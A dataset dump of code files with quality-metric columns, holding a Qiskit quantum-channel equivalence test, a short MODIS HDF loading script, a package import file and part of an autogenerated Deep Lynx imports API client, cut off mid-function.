hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
4070c2df45bf1b67591bb6aba566f9e634de3043
| 12,130
|
py
|
Python
|
test/python/quantum_info/operators/channel/test_adjoint.py
|
ajavadia/qiskit-sdk-py
|
a59e8e6be1793197e19998c1f7dcfc45e6f2f3af
|
[
"Apache-2.0"
] | 11
|
2019-06-27T09:53:29.000Z
|
2021-03-02T04:40:30.000Z
|
test/python/quantum_info/operators/channel/test_adjoint.py
|
ajavadia/qiskit-sdk-py
|
a59e8e6be1793197e19998c1f7dcfc45e6f2f3af
|
[
"Apache-2.0"
] | 35
|
2019-03-07T02:09:22.000Z
|
2022-03-22T19:55:15.000Z
|
test/python/quantum_info/operators/channel/test_adjoint.py
|
ajavadia/qiskit-sdk-py
|
a59e8e6be1793197e19998c1f7dcfc45e6f2f3af
|
[
"Apache-2.0"
] | 4
|
2019-08-05T15:35:33.000Z
|
2020-09-18T18:55:02.000Z
|
# This code is part of Qiskit.
#
# (C) Copyright IBM 2017, 2019.
#
# This code is licensed under the Apache License, Version 2.0. You may
# obtain a copy of this license in the LICENSE.txt file in the root directory
# of this source tree or at http://www.apache.org/licenses/LICENSE-2.0.
#
# Any modifications or derivative works of this code must retain this
# copyright notice, and modified files need to carry a notice indicating
# that they have been altered from the originals.
"""Equivalence tests for quantum channel methods."""
import unittest
import numpy as np
from qiskit.quantum_info.operators.operator import Operator
from qiskit.quantum_info.operators.channel.choi import Choi
from qiskit.quantum_info.operators.channel.superop import SuperOp
from qiskit.quantum_info.operators.channel.kraus import Kraus
from qiskit.quantum_info.operators.channel.stinespring import Stinespring
from qiskit.quantum_info.operators.channel.ptm import PTM
from qiskit.quantum_info.operators.channel.chi import Chi
from .channel_test_case import ChannelTestCase
class TestEquivalence(ChannelTestCase):
"""Tests for channel equivalence.
Tests that performing conjugate, transpose, adjoint
in the Operator representation is equivalent to performing the same
operations in other representations.
"""
unitaries = [
ChannelTestCase.UI, ChannelTestCase.UX, ChannelTestCase.UY,
ChannelTestCase.UZ, ChannelTestCase.UH
]
chois = [
ChannelTestCase.choiI, ChannelTestCase.choiX, ChannelTestCase.choiY,
ChannelTestCase.choiZ, ChannelTestCase.choiH
]
chis = [
ChannelTestCase.chiI, ChannelTestCase.chiX, ChannelTestCase.chiY,
ChannelTestCase.chiZ, ChannelTestCase.chiH
]
sops = [
ChannelTestCase.sopI, ChannelTestCase.sopX, ChannelTestCase.sopY,
ChannelTestCase.sopZ, ChannelTestCase.sopH
]
ptms = [
ChannelTestCase.ptmI, ChannelTestCase.ptmX, ChannelTestCase.ptmY,
ChannelTestCase.ptmZ, ChannelTestCase.ptmH
]
def _compare_transpose_to_operator(self, chans, mats):
"""Test transpose is equivalent"""
unitaries = [Operator(np.transpose(i)) for i in mats]
channels = [i.transpose() for i in chans]
for chan, uni in zip(channels, unitaries):
self.assertEqual(chan, chan.__class__(uni))
def _compare_conjugate_to_operator(self, chans, mats):
"""Test conjugate is equivalent"""
unitaries = [Operator(np.conjugate(i)) for i in mats]
channels = [i.conjugate() for i in chans]
for chan, uni in zip(channels, unitaries):
self.assertEqual(chan, chan.__class__(uni))
def _compare_adjoint_to_operator(self, chans, mats):
"""Test adjoint is equivalent"""
unitaries = [Operator(np.conjugate(np.transpose(i))) for i in mats]
channels = [i.adjoint() for i in chans]
for chan, uni in zip(channels, unitaries):
self.assertEqual(chan, chan.__class__(uni))
def test_choi_conjugate(self):
"""Test conjugate of Choi matrices is correct."""
mats = self.unitaries
chans = [Choi(mat) for mat in self.chois]
self._compare_conjugate_to_operator(chans, mats)
def test_superop_conjugate(self):
"""Test conjugate of SuperOp matrices is correct."""
mats = self.unitaries
chans = [SuperOp(mat) for mat in self.sops]
self._compare_conjugate_to_operator(chans, mats)
def test_kraus_conjugate(self):
"""Test conjugate of Kraus matrices is correct."""
mats = self.unitaries
chans = [Kraus(mat) for mat in mats]
self._compare_conjugate_to_operator(chans, mats)
def test_stinespring_conjugate(self):
"""Test conjugate of Stinespring matrices is correct."""
mats = self.unitaries
chans = [Stinespring(mat) for mat in mats]
self._compare_conjugate_to_operator(chans, mats)
def test_chi_conjugate(self):
"""Test conjugate of Chi matrices is correct."""
mats = self.unitaries
chans = [Chi(mat) for mat in self.chis]
self._compare_conjugate_to_operator(chans, mats)
def test_ptm_conjugate(self):
"""Test conjugate of PTM matrices is correct."""
mats = self.unitaries
chans = [PTM(mat) for mat in self.ptms]
self._compare_conjugate_to_operator(chans, mats)
def test_choi_conjugate_random(self):
"""Test conjugate of Choi matrices is correct."""
mats = [self.rand_matrix(4, 4) for _ in range(4)]
chans = [Choi(Operator(mat)) for mat in mats]
self._compare_conjugate_to_operator(chans, mats)
def test_superop_conjugate_random(self):
"""Test conjugate of SuperOp matrices is correct."""
mats = [self.rand_matrix(4, 4) for _ in range(4)]
chans = [SuperOp(Operator(mat)) for mat in mats]
self._compare_conjugate_to_operator(chans, mats)
def test_kraus_conjugate_random(self):
"""Test conjugate of Kraus matrices is correct."""
mats = [self.rand_matrix(4, 4) for _ in range(4)]
chans = [Kraus(Operator(mat)) for mat in mats]
self._compare_conjugate_to_operator(chans, mats)
def test_stinespring_conjugate_random(self):
"""Test conjugate of Stinespring matrices is correct."""
mats = [self.rand_matrix(4, 4) for _ in range(4)]
chans = [Stinespring(Operator(mat)) for mat in mats]
self._compare_conjugate_to_operator(chans, mats)
def test_chi_conjugate_random(self):
"""Test conjugate of Chi matrices is correct."""
mats = [self.rand_matrix(4, 4) for _ in range(4)]
chans = [Chi(Operator(mat)) for mat in mats]
self._compare_conjugate_to_operator(chans, mats)
def test_ptm_conjugate_random(self):
"""Test conjugate of PTM matrices is correct."""
mats = [self.rand_matrix(4, 4) for _ in range(4)]
chans = [PTM(Operator(mat)) for mat in mats]
self._compare_conjugate_to_operator(chans, mats)
def test_choi_transpose(self):
"""Test transpose of Choi matrices is correct."""
mats = self.unitaries
chans = [Choi(mat) for mat in self.chois]
self._compare_transpose_to_operator(chans, mats)
def test_superop_transpose(self):
"""Test transpose of SuperOp matrices is correct."""
mats = self.unitaries
chans = [SuperOp(mat) for mat in self.sops]
self._compare_transpose_to_operator(chans, mats)
def test_kraus_transpose(self):
"""Test transpose of Kraus matrices is correct."""
mats = self.unitaries
chans = [Kraus(mat) for mat in mats]
self._compare_transpose_to_operator(chans, mats)
def test_stinespring_transpose(self):
"""Test transpose of Stinespring matrices is correct."""
mats = self.unitaries
chans = [Stinespring(mat) for mat in mats]
self._compare_transpose_to_operator(chans, mats)
def test_chi_transpose(self):
"""Test transpose of Chi matrices is correct."""
mats = self.unitaries
chans = [Chi(mat) for mat in self.chis]
self._compare_transpose_to_operator(chans, mats)
def test_ptm_transpose(self):
"""Test transpose of PTM matrices is correct."""
mats = self.unitaries
chans = [PTM(mat) for mat in self.ptms]
self._compare_transpose_to_operator(chans, mats)
def test_choi_transpose_random(self):
"""Test transpose of Choi matrices is correct."""
mats = [self.rand_matrix(4, 4) for _ in range(4)]
chans = [Choi(Operator(mat)) for mat in mats]
self._compare_transpose_to_operator(chans, mats)
def test_superop_transpose_random(self):
"""Test transpose of SuperOp matrices is correct."""
mats = [self.rand_matrix(4, 4) for _ in range(4)]
chans = [SuperOp(Operator(mat)) for mat in mats]
self._compare_transpose_to_operator(chans, mats)
def test_kraus_transpose_random(self):
"""Test transpose of Kraus matrices is correct."""
mats = [self.rand_matrix(4, 4) for _ in range(4)]
chans = [Kraus(Operator(mat)) for mat in mats]
self._compare_transpose_to_operator(chans, mats)
def test_stinespring_transpose_random(self):
"""Test transpose of Stinespring matrices is correct."""
mats = [self.rand_matrix(4, 4) for _ in range(4)]
chans = [Stinespring(Operator(mat)) for mat in mats]
self._compare_transpose_to_operator(chans, mats)
def test_chi_transpose_random(self):
"""Test transpose of Chi matrices is correct."""
mats = [self.rand_matrix(4, 4) for _ in range(4)]
chans = [Chi(Operator(mat)) for mat in mats]
self._compare_transpose_to_operator(chans, mats)
def test_ptm_transpose_random(self):
"""Test transpose of PTM matrices is correct."""
mats = [self.rand_matrix(4, 4) for _ in range(4)]
chans = [PTM(Operator(mat)) for mat in mats]
self._compare_transpose_to_operator(chans, mats)
def test_choi_adjoint(self):
"""Test adjoint of Choi matrices is correct."""
mats = self.unitaries
chans = [Choi(mat) for mat in self.chois]
self._compare_adjoint_to_operator(chans, mats)
def test_superop_adjoint(self):
"""Test adjoint of SuperOp matrices is correct."""
mats = self.unitaries
chans = [SuperOp(mat) for mat in self.sops]
self._compare_adjoint_to_operator(chans, mats)
def test_kraus_adjoint(self):
"""Test adjoint of Kraus matrices is correct."""
mats = self.unitaries
chans = [Kraus(mat) for mat in mats]
self._compare_adjoint_to_operator(chans, mats)
def test_stinespring_adjoint(self):
"""Test adjoint of Stinespring matrices is correct."""
mats = self.unitaries
chans = [Stinespring(mat) for mat in mats]
self._compare_adjoint_to_operator(chans, mats)
def test_chi_adjoint(self):
"""Test adjoint of Chi matrices is correct."""
mats = self.unitaries
chans = [Chi(mat) for mat in self.chis]
self._compare_adjoint_to_operator(chans, mats)
def test_ptm_adjoint(self):
"""Test adjoint of PTM matrices is correct."""
mats = self.unitaries
chans = [PTM(mat) for mat in self.ptms]
self._compare_adjoint_to_operator(chans, mats)
def test_choi_adjoint_random(self):
"""Test adjoint of Choi matrices is correct."""
mats = [self.rand_matrix(4, 4) for _ in range(4)]
chans = [Choi(Operator(mat)) for mat in mats]
self._compare_adjoint_to_operator(chans, mats)
def test_superop_adjoint_random(self):
"""Test adjoint of SuperOp matrices is correct."""
mats = [self.rand_matrix(4, 4) for _ in range(4)]
chans = [SuperOp(Operator(mat)) for mat in mats]
self._compare_adjoint_to_operator(chans, mats)
def test_kraus_adjoint_random(self):
"""Test adjoint of Kraus matrices is correct."""
mats = [self.rand_matrix(4, 4) for _ in range(4)]
chans = [Kraus(Operator(mat)) for mat in mats]
self._compare_adjoint_to_operator(chans, mats)
def test_stinespring_adjoint_random(self):
"""Test adjoint of Stinespring matrices is correct."""
mats = [self.rand_matrix(4, 4) for _ in range(4)]
chans = [Stinespring(Operator(mat)) for mat in mats]
self._compare_adjoint_to_operator(chans, mats)
def test_chi_adjoint_random(self):
"""Test adjoint of Chi matrices is correct."""
mats = [self.rand_matrix(4, 4) for _ in range(4)]
chans = [Chi(Operator(mat)) for mat in mats]
self._compare_adjoint_to_operator(chans, mats)
def test_ptm_adjoint_random(self):
"""Test adjoint of PTM matrices is correct."""
mats = [self.rand_matrix(4, 4) for _ in range(4)]
chans = [PTM(Operator(mat)) for mat in mats]
self._compare_adjoint_to_operator(chans, mats)
if __name__ == '__main__':
unittest.main()
| 40.165563
| 77
| 0.67263
| 1,593
| 12,130
| 4.926554
| 0.091023
| 0.061162
| 0.077982
| 0.09633
| 0.820974
| 0.812309
| 0.748598
| 0.74605
| 0.741463
| 0.729358
| 0
| 0.007058
| 0.229101
| 12,130
| 301
| 78
| 40.299003
| 0.83221
| 0.197527
| 0
| 0.59375
| 0
| 0
| 0.000842
| 0
| 0
| 0
| 0
| 0
| 0.015625
| 1
| 0.203125
| false
| 0
| 0.052083
| 0
| 0.286458
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
40e008254a74c9a5cd9560af912372d8058e533c
| 162
|
py
|
Python
|
hydroDL/data/modis.py
|
fkwai/geolearn
|
30cb4353d22af5020a48100d07ab04f465a315b0
|
[
"MIT"
] | null | null | null |
hydroDL/data/modis.py
|
fkwai/geolearn
|
30cb4353d22af5020a48100d07ab04f465a315b0
|
[
"MIT"
] | null | null | null |
hydroDL/data/modis.py
|
fkwai/geolearn
|
30cb4353d22af5020a48100d07ab04f465a315b0
|
[
"MIT"
] | 2
|
2021-04-04T02:45:59.000Z
|
2022-03-19T09:41:39.000Z
|
import h5py
fileName = r'C:\Users\geofk\work\database\MODIS\MCD15A2H.006\2010.01.01\MCD15A2H.A2010001.h08v05.006.2015198120641.hdf'
f = h5py.File(fileName, 'r')
| 32.4
| 119
| 0.771605
| 26
| 162
| 4.807692
| 0.769231
| 0.144
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.302632
| 0.061728
| 162
| 4
| 120
| 40.5
| 0.519737
| 0
| 0
| 0
| 0
| 0.333333
| 0.654321
| 0.648148
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
dc027ce22c1c8c0c5f1371489cad8eabf26ec8eb
| 75
|
py
|
Python
|
magpie/one_d/__init__.py
|
knaidoo29/magpie
|
efab3c2666aab2c928ca12a631758bc1b43c149c
|
[
"MIT"
] | null | null | null |
magpie/one_d/__init__.py
|
knaidoo29/magpie
|
efab3c2666aab2c928ca12a631758bc1b43c149c
|
[
"MIT"
] | null | null | null |
magpie/one_d/__init__.py
|
knaidoo29/magpie
|
efab3c2666aab2c928ca12a631758bc1b43c149c
|
[
"MIT"
] | null | null | null |
from .one_d import rebin_1d_single_bin_weights
from .one_d import rebin_1d
| 25
| 46
| 0.866667
| 15
| 75
| 3.866667
| 0.6
| 0.241379
| 0.275862
| 0.482759
| 0.724138
| 0.724138
| 0
| 0
| 0
| 0
| 0
| 0.029851
| 0.106667
| 75
| 2
| 47
| 37.5
| 0.835821
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 9
|
dc02cc0b9f383e66d73d293ecedacc19ec0023ee
| 36,703
|
py
|
Python
|
swagger_client/api/imports_api.py
|
idaholab/Deep-Lynx-Python-Package
|
99927cc877eba8e2ee396feec807da1c48c64893
|
[
"MIT"
] | 3
|
2021-06-16T20:34:41.000Z
|
2021-06-16T23:54:36.000Z
|
swagger_client/api/imports_api.py
|
idaholab/Deep-Lynx-Python-Package
|
99927cc877eba8e2ee396feec807da1c48c64893
|
[
"MIT"
] | null | null | null |
swagger_client/api/imports_api.py
|
idaholab/Deep-Lynx-Python-Package
|
99927cc877eba8e2ee396feec807da1c48c64893
|
[
"MIT"
] | null | null | null |
# coding: utf-8
"""
Deep Lynx
The construction of megaprojects has consistently demonstrated challenges for project managers in regard to meeting cost, schedule, and performance requirements. Megaproject construction challenges are common place within megaprojects with many active projects in the United States failing to meet cost and schedule efforts by significant margins. Currently, engineering teams operate in siloed tools and disparate teams where connections across design, procurement, and construction systems are translated manually or over brittle point-to-point integrations. The manual nature of data exchange increases the risk of silent errors in the reactor design, with each silent error cascading across the design. These cascading errors lead to uncontrollable risk during construction, resulting in significant delays and cost overruns. Deep Lynx allows for an integrated platform during design and operations of mega projects. The Deep Lynx Core API delivers a few main features. 1. Provides a set of methods and endpoints for manipulating data in an object oriented database. This allows us to store complex datatypes as records and then to compile them into actual, modifiable objects at run-time. Users can store taxonomies or ontologies in a readable format. 2. Provides methods for storing and retrieving data in a graph database. This data is structured and validated against the aformentioned object oriented database before storage. # noqa: E501
OpenAPI spec version: 1.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from swagger_client.api_client import ApiClient
class ImportsApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def add_data_to_import(self, container_id, import_id, data_source_id, **kwargs): # noqa: E501
"""AddDataToImport # noqa: E501
Adds data to an existing import. Accepts an array of JSON objects or a file in JSON or CSV format. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.add_data_to_import(container_id, import_id, data_source_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str container_id: (required)
:param str import_id: (required)
:param str data_source_id: (required)
:param str file:
:return: AddDataToImportResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.add_data_to_import_with_http_info(container_id, import_id, data_source_id, **kwargs) # noqa: E501
else:
(data) = self.add_data_to_import_with_http_info(container_id, import_id, data_source_id, **kwargs) # noqa: E501
return data
def add_data_to_import_with_http_info(self, container_id, import_id, data_source_id, **kwargs): # noqa: E501
"""AddDataToImport # noqa: E501
Adds data to an existing import. Accepts an array of JSON objects or a file in JSON or CSV format. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.add_data_to_import_with_http_info(container_id, import_id, data_source_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str container_id: (required)
:param str import_id: (required)
:param str data_source_id: (required)
:param str file:
:return: AddDataToImportResponse
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['container_id', 'import_id', 'data_source_id', 'file'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method add_data_to_import" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'container_id' is set
if ('container_id' not in params or
params['container_id'] is None):
raise ValueError("Missing the required parameter `container_id` when calling `add_data_to_import`") # noqa: E501
# verify the required parameter 'import_id' is set
if ('import_id' not in params or
params['import_id'] is None):
raise ValueError("Missing the required parameter `import_id` when calling `add_data_to_import`") # noqa: E501
# verify the required parameter 'data_source_id' is set
if ('data_source_id' not in params or
params['data_source_id'] is None):
raise ValueError("Missing the required parameter `data_source_id` when calling `add_data_to_import`") # noqa: E501
collection_formats = {}
path_params = {}
if 'container_id' in params:
path_params['container_id'] = params['container_id'] # noqa: E501
if 'import_id' in params:
path_params['import_id'] = params['import_id'] # noqa: E501
if 'data_source_id' in params:
path_params['data_source_id'] = params['data_source_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
if 'file' in params:
form_params.append(('file', params['file'])) # noqa: E501
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/x-www-form-urlencoded']) # noqa: E501
# Authentication setting
auth_settings = ['httpBearer'] # noqa: E501
return self.api_client.call_api(
'/containers/{container_id}/datasources/{data_source_id}/imports/{import_id}/data', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='AddDataToImportResponse', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def create_import(self, container_id, data_source_id, **kwargs): # noqa: E501
"""CreateImport # noqa: E501
Creates a new import. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.create_import(container_id, data_source_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str container_id: (required)
:param str data_source_id: (required)
:param ContainersDatasourcesImportsRequest body:
:return: CreateImportResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.create_import_with_http_info(container_id, data_source_id, **kwargs) # noqa: E501
else:
(data) = self.create_import_with_http_info(container_id, data_source_id, **kwargs) # noqa: E501
return data
def create_import_with_http_info(self, container_id, data_source_id, **kwargs): # noqa: E501
"""CreateImport # noqa: E501
Creates a new import. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.create_import_with_http_info(container_id, data_source_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str container_id: (required)
:param str data_source_id: (required)
:param ContainersDatasourcesImportsRequest body:
:return: CreateImportResponse
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['container_id', 'data_source_id', 'body'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method create_import" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'container_id' is set
if ('container_id' not in params or
params['container_id'] is None):
raise ValueError("Missing the required parameter `container_id` when calling `create_import`") # noqa: E501
# verify the required parameter 'data_source_id' is set
if ('data_source_id' not in params or
params['data_source_id'] is None):
raise ValueError("Missing the required parameter `data_source_id` when calling `create_import`") # noqa: E501
collection_formats = {}
path_params = {}
if 'container_id' in params:
path_params['container_id'] = params['container_id'] # noqa: E501
if 'data_source_id' in params:
path_params['data_source_id'] = params['data_source_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['httpBearer'] # noqa: E501
return self.api_client.call_api(
'/containers/{container_id}/datasources/{data_source_id}/imports', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='CreateImportResponse', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def delete_import(self, container_id, import_id, **kwargs): # noqa: E501
"""DeleteImport # noqa: E501
Delete import will delete an import ONLY IF the import has not been processed. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_import(container_id, import_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str container_id: (required)
:param str import_id: (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.delete_import_with_http_info(container_id, import_id, **kwargs) # noqa: E501
else:
(data) = self.delete_import_with_http_info(container_id, import_id, **kwargs) # noqa: E501
return data
def delete_import_with_http_info(self, container_id, import_id, **kwargs): # noqa: E501
"""DeleteImport # noqa: E501
Delete import will delete an import ONLY IF the import has not been processed. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_import_with_http_info(container_id, import_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str container_id: (required)
:param str import_id: (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['container_id', 'import_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_import" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'container_id' is set
if ('container_id' not in params or
params['container_id'] is None):
raise ValueError("Missing the required parameter `container_id` when calling `delete_import`") # noqa: E501
# verify the required parameter 'import_id' is set
if ('import_id' not in params or
params['import_id'] is None):
raise ValueError("Missing the required parameter `import_id` when calling `delete_import`") # noqa: E501
collection_formats = {}
path_params = {}
if 'container_id' in params:
path_params['container_id'] = params['container_id'] # noqa: E501
if 'import_id' in params:
path_params['import_id'] = params['import_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['httpBearer'] # noqa: E501
return self.api_client.call_api(
'/containers/{container_id}/import/imports/{import_id}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
